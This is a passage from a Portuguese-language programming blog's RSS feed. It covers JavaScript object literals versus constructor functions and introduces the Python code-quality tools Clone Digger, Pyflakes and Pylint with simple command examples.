console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas (moto):&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; moto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 2&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// constructor function&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; moto &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;constructor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Automovel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas (moto):&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; moto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Só por curiosidade, como estarão os nossos objetos &lt;code class=&quot;language-text&quot;&gt;carro&lt;/code&gt;? (Lá vem a
pegadinha =P )&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// object literal&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas (carro):&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 2&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// constructor function&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas (carro):&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pelo lado da instância de &lt;code class=&quot;language-text&quot;&gt;constructor.Automovel&lt;/code&gt;, nenhuma surpresa.
Mas o que aconteceu com o valor do atributo &lt;code class=&quot;language-text&quot;&gt;quantidadeRodas&lt;/code&gt; da
variável &lt;code class=&quot;language-text&quot;&gt;carro&lt;/code&gt; em &lt;code class=&quot;language-text&quot;&gt;object_literal.Automovel&lt;/code&gt;?&lt;/p&gt;
&lt;h2&gt;Instâncias x Referências&lt;/h2&gt;
&lt;p&gt;A grosso modo, com uso de &lt;em&gt;constructor functions&lt;/em&gt;, criamos uma
“estrutura” (classe), que a cada &lt;code class=&quot;language-text&quot;&gt;new&lt;/code&gt; é “copiada” para um novo espaço
na memória (instância). Assim, a propriedade &lt;code class=&quot;language-text&quot;&gt;quantidadeRodas&lt;/code&gt; de moto
é diferente da propriedade de mesmo nome, da instância &lt;code class=&quot;language-text&quot;&gt;carro&lt;/code&gt; (&lt;a href=&quot;http://pt.wikipedia.org/wiki/Inst%C3%A2ncia_(classe)&quot; title=&quot;Leia mais sobre instância no Wikipedia&quot;&gt;leia mais sobre instâncias e classes&lt;/a&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// constructor function&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;carro == moto:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; moto&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// false&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Já com &lt;em&gt;object literal&lt;/em&gt;, não temos a capacidade de criar uma classe.
Criamos diretamente uma instância, e vinculamos o espaço na memória onde
esta foi criada à uma variável. No nosso caso, a variável em questão é
&lt;code class=&quot;language-text&quot;&gt;object_literal.Automovel&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Quando atribuímos &lt;code class=&quot;language-text&quot;&gt;object_literal.Automovel&lt;/code&gt; à variável &lt;code class=&quot;language-text&quot;&gt;carro&lt;/code&gt; e
depois à variável &lt;code class=&quot;language-text&quot;&gt;moto&lt;/code&gt;, na verdade estávamos criando referências a
instânca contida em &lt;code class=&quot;language-text&quot;&gt;object_literal.Automovel&lt;/code&gt; (ou seja, as três
variáveis correspondem ao mesmo endereço e valor na memória):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// object literal&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;carro == moto:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; moto&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// true&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Portanto, se eu criar uma variável chamada &lt;code class=&quot;language-text&quot;&gt;moto2&lt;/code&gt; e atribuir a ela a
instância de &lt;code class=&quot;language-text&quot;&gt;constructor.Automovel&lt;/code&gt; contida em &lt;code class=&quot;language-text&quot;&gt;moto&lt;/code&gt;, terei o
mesmo resultado que acima:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// constructor function&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; moto2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; moto&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
moto2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas (instancia carro):&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 4&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas (instancia moto):&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; moto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 3&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;quantidade de rodas (referencia moto2):&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; moto2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;quantidadeRodas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 3&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;moto == moto2:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; moto &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; moto2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// true&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Interessante, não?&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Uma vez descobrindo a diferença entre &lt;em&gt;object literal&lt;/em&gt; e &lt;em&gt;constructor function&lt;/em&gt;,
notamos que não há diferenças conceituais em relação a
linguagens como &lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;C++&lt;/em&gt; ou &lt;em&gt;Java&lt;/em&gt;. Basta termos em mente que o
tipo de escrita, através da &lt;em&gt;prototype&lt;/em&gt;, é diferente (e mais dinâmica)
do que o usual, mas os resultados são (conceitualmente falando)
praticamente os mesmos.&lt;/p&gt;
&lt;p&gt;Então, quando você tiver um tipo que possuirá várias instâncias, utilize
&lt;em&gt;constructor functions&lt;/em&gt;. Quando quiser criar objetos “estáticos”, que
não sofrerão alterações no decorrer de uma execução (como o exemplo do
namespace), utilize &lt;em&gt;object literal&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/the-basics-of-object-oriented-javascript/&quot; title=&quot;The Basics of Object-Oriented JavaScript&quot;&gt;&lt;em&gt;Nettuts+ – The Basics of Object-Oriented JavaScript&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/stop-nesting-functions-but-not-all-of-them/&quot; title=&quot;Stop Nesting Functions! But Not All of Them&quot;&gt;&lt;em&gt;Nettuts+ – Stop Nesting Functions! (But Not All of Them)&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O exemplo completo está disponível para download em:
&lt;a href=&quot;https://github.com/kplaube/post-javascript-object-literal-constructors&quot; title=&quot;Veja o exemplo completo no GitHub&quot;&gt;https://github.com/kplaube/post-javascript-object-literal-constructors&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Assegure a qualidade do seu código Python - Clone Digger]]></title><description><![CDATA[Mesmo que você possa verificar a qualidade do seu
código com pep8, Pylint e Pyflakes, uma das virtudes
de um projeto de software é não…]]></description><link>https://klauslaube.com.br/2011/10/16/assegure-qualidade-seu-codigo-python-clone-digger.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/10/16/assegure-qualidade-seu-codigo-python-clone-digger.html</guid><pubDate>Sun, 16 Oct 2011 22:10:00 GMT</pubDate><content:encoded>&lt;p&gt;Mesmo que você possa verificar a qualidade do seu
código com &lt;a href=&quot;/2011/08/26/assegure-qualidade-seu-codigo-python-pep.html&quot; title=&quot;Assegure a qualidade do seu código Python – pep8&quot;&gt;&lt;em&gt;pep8&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;/2011/09/06/assegura-a-qualidade-de-codigo-python-pylint.html&quot; title=&quot;Assegure a qualidade do seu código Python – Pylint&quot;&gt;&lt;em&gt;Pylint&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/2011/10/02/assegure-qualidade-seu-codigo-python-pyflakes.html&quot; title=&quot;Assegure a qualidade do seu código Python – Pyflakes&quot;&gt;&lt;em&gt;Pyflakes&lt;/em&gt;&lt;/a&gt;, uma das virtudes
de um projeto de &lt;em&gt;software&lt;/em&gt; é não possuir código duplicado (leia mais
sobre &lt;a href=&quot;http://pt.wikipedia.org/wiki/Don%27t_repeat_yourself&quot; title=&quot;Leia mais sobre Don&amp;#x27;t Repeat Yourself no Wikipedia&quot;&gt;&lt;em&gt;DRY&lt;/em&gt;&lt;/a&gt;). O fato é que tanto intencionalmente como
propositalmente, podemos duplicar um trecho de código e acabar
prejudicando manutenções futuras (atire a primeira pedra quem nunca deu
aquele &lt;code class=&quot;language-text&quot;&gt;CTRL+C&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;CTRL+V&lt;/code&gt;, e prometeu um &lt;em&gt;refactoring&lt;/em&gt; depois).&lt;/p&gt;
&lt;p&gt;Para facilitar a busca por código duplicado, podemos utilizar uma
ferramenta chamada &lt;strong&gt;&lt;em&gt;Clone Digger&lt;/em&gt;&lt;/strong&gt;. Prático, rápido e muito simples.
Agora ficou fácil “caçar” código duplicado em projetos &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Na prática&lt;/h2&gt;
&lt;p&gt;Por tratar-se de uma ferramenta bem objetiva, não há muito o que falar
sobre o &lt;a href=&quot;http://clonedigger.sourceforge.net/index.html&quot; title=&quot;Página oficial do projeto Clone Digger&quot;&gt;&lt;em&gt;Clone Digger&lt;/em&gt;&lt;/a&gt;. Então, vamos direto para a parte prática.&lt;/p&gt;
&lt;p&gt;Para iniciar a análise, basta chamar o executável apontando para o
diretório do seu projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ clonedigger meuprojeto/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Será gerado um arquivo chamado &lt;code class=&quot;language-text&quot;&gt;output.html&lt;/code&gt;, com um relatório
detalhado (&lt;a href=&quot;http://clonedigger.sourceforge.net/examples/nltk_first_50.html&quot; title=&quot;Exemplo de relatório do Clone Digger&quot;&gt;como este&lt;/a&gt;). Serão apresentadas informações como a
quantidade de arquivos analisados, quantidade de “clones”, de linhas
duplicadas e um apontamento com os trechos de código que a ferramenta
concluiu como “clones” (não necessariamente iguais, mas semelhantes).&lt;/p&gt;
&lt;p&gt;Particularmente, a ferramenta me ajuda bastante a determinar se certos
trechos de código não poderiam ser herdados por uma classe pai, ou
algumas rotinas costumeiras não poderiam ser encapsuladas em funções.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://clonedigger.sourceforge.net/index.html&quot; title=&quot;Página oficial do projeto Clone Digger&quot;&gt;&lt;em&gt;Clone Digger: Discovers duplicate code in Python and Java&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.andrewsmedina.com/2011/01/31/analise-de-codigo-em-python/&quot; title=&quot;Excelente post do Andrews Medina sobre ferramentas de análise de código em Python&quot;&gt;&lt;em&gt;Andrews Medina:&lt;/em&gt; Análise de código em &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Assegure a qualidade do seu código Python - Pyflakes]]></title><description><![CDATA[Depois da dar uma pincelada na pep8 e no Pylint, chegou a hora de
falarmos um pouco sobre o Pyflakes. Resumidamente, o Pyflakes é uma…]]></description><link>https://klauslaube.com.br/2011/10/02/assegure-qualidade-seu-codigo-python-pyflakes.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/10/02/assegure-qualidade-seu-codigo-python-pyflakes.html</guid><pubDate>Sun, 02 Oct 2011 17:58:00 GMT</pubDate><content:encoded>&lt;p&gt;Depois da dar uma pincelada na &lt;a href=&quot;/2011/08/26/assegure-qualidade-seu-codigo-python-pep.html&quot; title=&quot;Assegura a qualidade do seu código Python com a pep8&quot;&gt;&lt;em&gt;pep8&lt;/em&gt;&lt;/a&gt; e no &lt;a href=&quot;/2011/09/06/assegura-a-qualidade-de-codigo-python-pylint.html&quot; title=&quot;Assegure a qualidade do seu código Python com o Pylint&quot;&gt;&lt;em&gt;Pylint&lt;/em&gt;&lt;/a&gt;, chegou a hora de
falarmos um pouco sobre o &lt;strong&gt;&lt;em&gt;Pyflakes&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Resumidamente, o &lt;a href=&quot;https://launchpad.net/pyflakes&quot; title=&quot;Pyflakes no Launchpad&quot;&gt;&lt;em&gt;Pyflakes&lt;/em&gt;&lt;/a&gt; é uma ferramenta de qualidade que
analisa o seu código &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; atrás de erros (de sintaxe e
importação, por exemplo), retornando um relatório muito objetivo com o
arquivo, linha e o tipo de incoerência que ele encontrou.&lt;/p&gt;
&lt;p&gt;Uma excelente ferramenta para você ter “plugada” ao seu editor favorito.&lt;/p&gt;
&lt;h2&gt;O que o Pyflakes faz que o Pylint não faz?&lt;/h2&gt;
&lt;p&gt;As comparações, acredito, serão inevitáveis. Afinal, o que o &lt;em&gt;Pyflakes&lt;/em&gt;
faz que o &lt;em&gt;Pylint&lt;/em&gt; não faz? A resposta que você encontrará é muito
simples: O &lt;strong&gt;&lt;em&gt;Pyflakes&lt;/em&gt; não analisa a “beleza”&lt;/strong&gt; do seu &lt;strong&gt;código&lt;/strong&gt;. Ou
seja, ele apenas &lt;strong&gt;verifica erros de lógica e de sintaxe&lt;/strong&gt;, não de
convenções de código.&lt;/p&gt;
&lt;p&gt;Isso faz do &lt;em&gt;Pyflakes&lt;/em&gt; o parceiro ideal do seu editor de código
favorito. Por ser objetivo, favorece a análise e traz resultados
interessantes, por exemplo, apontando variáveis criadas que nunca foram
usadas, ou métodos importados que nunca foram chamados no escopo de um
módulo &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Logo, ter as duas ferramentas à mão é uma excelente pedida para
incrementar ainda mais o seu ambiente de desenvolvimento.&lt;/p&gt;
&lt;h2&gt;Na prática&lt;/h2&gt;
&lt;p&gt;Vamos analisar o código de um projeto da faculdade que eu fiz, chamado
&lt;a href=&quot;https://bitbucket.org/kplaube/social-portal-for-soccer-players/overview&quot; title=&quot;Visite o repositório do projeto no BitBucket&quot;&gt;&lt;em&gt;Social portal for soccer players&lt;/em&gt;&lt;/a&gt; (encontra-se aberto no
&lt;em&gt;BitBucket&lt;/em&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyflakes apps/notificate/views.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A resposta é muito clara. Existem classes sendo importadas, mas que não
estão sendo usadas:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;apps/notificate/views.py:3: &apos;EmptyPage&apos; imported but unused
apps/notificate/views.py:3: &apos;InvalidPage&apos; imported but unused&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O funcionamento básico do &lt;em&gt;Pyflakes&lt;/em&gt; é esse… simples como as melhores
coisas devem ser!&lt;/p&gt;
&lt;h2&gt;Pyflakes + Vim&lt;/h2&gt;
&lt;p&gt;Se assim como eu, você tem um “tropeço” pelo &lt;a href=&quot;http://www.vim.org/&quot; title=&quot;Página oficial do Vi Improved&quot;&gt;&lt;em&gt;vim&lt;/em&gt;&lt;/a&gt;, você não pode
deixar passar esse bom &lt;em&gt;plugin&lt;/em&gt; chamado &lt;a href=&quot;http://symbolsystem.com/pyflakes-vim/&quot; title=&quot;pyflakes.vim - Verifique o seu código em tempo real&quot;&gt;&lt;em&gt;pyflakes.vim&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Para instalá-lo, basta seguir o guia de instalação contido no arquivo
&lt;strong&gt;README&lt;/strong&gt; (&lt;a href=&quot;https://github.com/kevinw/pyflakes-vim#readme&quot; title=&quot;README do pyflakes.vim no GitHub&quot;&gt;leia diretamente do &lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt;). Para que o &lt;em&gt;plugin&lt;/em&gt;
funcione corretamente, o seu &lt;em&gt;vim&lt;/em&gt; deve ter suporte a &lt;em&gt;Python&lt;/em&gt; (se não
tiver, basta compilá-lo com o parâmetro &lt;strong&gt;-–enable-pythoninterp&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;Uma vez instalado, quando estiver editando um código &lt;em&gt;Python&lt;/em&gt;, basta
utilizar o comando &lt;strong&gt;:cc&lt;/strong&gt; para navegar entre os erros encontrados pelo
&lt;em&gt;plugin&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://launchpad.net/pyflakes&quot; title=&quot;Faça download agora mesmo do Pyflakes&quot;&gt;&lt;em&gt;Pyflakes in Launchpad&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://symbolsystem.com/pyflakes-vim/&quot; title=&quot;Utilize o Pyflakes em seu VIM&quot;&gt;&lt;em&gt;pyflakes.vim: check Python code on the fly&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Assegure a qualidade do seu código Python - Pylint]]></title><description><![CDATA[Se você precisa de uma ferramenta mais poderosa que o pep8, talvez você
precise do Pylint. De forma (bem) resumida, o Pylint analisa de…]]></description><link>https://klauslaube.com.br/2011/09/06/assegura-a-qualidade-de-codigo-python-pylint.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/09/06/assegura-a-qualidade-de-codigo-python-pylint.html</guid><pubDate>Tue, 06 Sep 2011 17:48:00 GMT</pubDate><content:encoded>&lt;p&gt;Se você precisa de uma ferramenta mais poderosa que o &lt;a href=&quot;/2011/08/26/assegure-qualidade-seu-codigo-python-pep.html&quot; title=&quot;Assegure a qualidade do seu código Python – pep8&quot;&gt;&lt;em&gt;pep8&lt;/em&gt;&lt;/a&gt;, talvez você
precise do &lt;em&gt;Pylint&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;De forma (bem) resumida, o &lt;em&gt;Pylint&lt;/em&gt; analisa de forma minuciosa o código
do seu projeto &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, lhe retornando uma variedade de relatórios
(as vezes, detalhistas até demais) sobre todo o tipo de problema que ele
encontra. Indo de incoerências com a &lt;em&gt;PEP 8&lt;/em&gt;, até nome de variáveis.&lt;/p&gt;
&lt;p&gt;É sem dúvida, uma das melhores ferramentas feitas para o &lt;em&gt;Python&lt;/em&gt;, e é
essencial para você deixar o seu código mais próximo do “estado da
arte”.&lt;/p&gt;
&lt;p&gt;Mas o que eu achei mais legal sobre o &lt;em&gt;Pylint&lt;/em&gt;, foi um comentário em sua
documentação. O &lt;a href=&quot;http://www.logilab.org/card/pylint_manual#what-is-pylint&quot; title=&quot;O que é o pylint?&quot;&gt;autor salienta&lt;/a&gt; muito bem que a ferramenta pode ser
eficiente em certos contextos, mas não em todos. Então, antes de
“pularmos de cabeça”, peço que você utilize o bom senso e saiba mensurar
as suas necessidades em relação ao que a ferramenta tem a oferecer.&lt;/p&gt;
&lt;h2&gt;Na prática&lt;/h2&gt;
&lt;p&gt;Vamos testar as conformidades do arquivo &lt;code class=&quot;language-text&quot;&gt;site.py&lt;/code&gt; segundo o &lt;em&gt;Pylint&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pylint /usr/lib/python2.7/dist-packages/site.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O resultado pode parecer assustador. Então “vamos começar pelo começo”.&lt;/p&gt;
&lt;p&gt;O resultado do &lt;em&gt;Pylint&lt;/em&gt; é dividido em duas grandes seções: &lt;strong&gt;análise de
código&lt;/strong&gt; e &lt;strong&gt;relatório&lt;/strong&gt;; O primeiro, como o nome sugere, apresenta uma
análise de código bem semelhante a apresentada pelo &lt;em&gt;pep8&lt;/em&gt;. Porém no
seguinte formato:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;MESSAGE_TYPE: LINE_NUM:[OBJECT:] MESSAGE&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos pegar a primeira linha gerada pelo &lt;em&gt;Pylint&lt;/em&gt; para entender melhor:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;C:  1: Missing docstring&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;C&lt;/strong&gt; é o tipo da mensagem, &lt;strong&gt;1&lt;/strong&gt; é o número da linha (no arquivo) onde
o problema foi constatado, &lt;strong&gt;Missing docstring&lt;/strong&gt; é a mensagem gerada. O
&lt;em&gt;Pylint&lt;/em&gt; poderá apresentar os seguintes tipos de mensagens:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[R]efactor for a &quot;good practice&quot; metric violation
[C]onvention for coding standard violation
[W]arning for stylistic problems, or minor programming issues
[E]rror for important programming issues (i.e. most probably bug)
[F]atal for errors which prevented further processing&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Quase posso ver o brilho em seus olhos. A saída do &lt;em&gt;Pylint&lt;/em&gt; deixou de
ser enigmática, não?!&lt;/p&gt;
&lt;p&gt;A segunda seção, a de relatório, apresentará alguns números
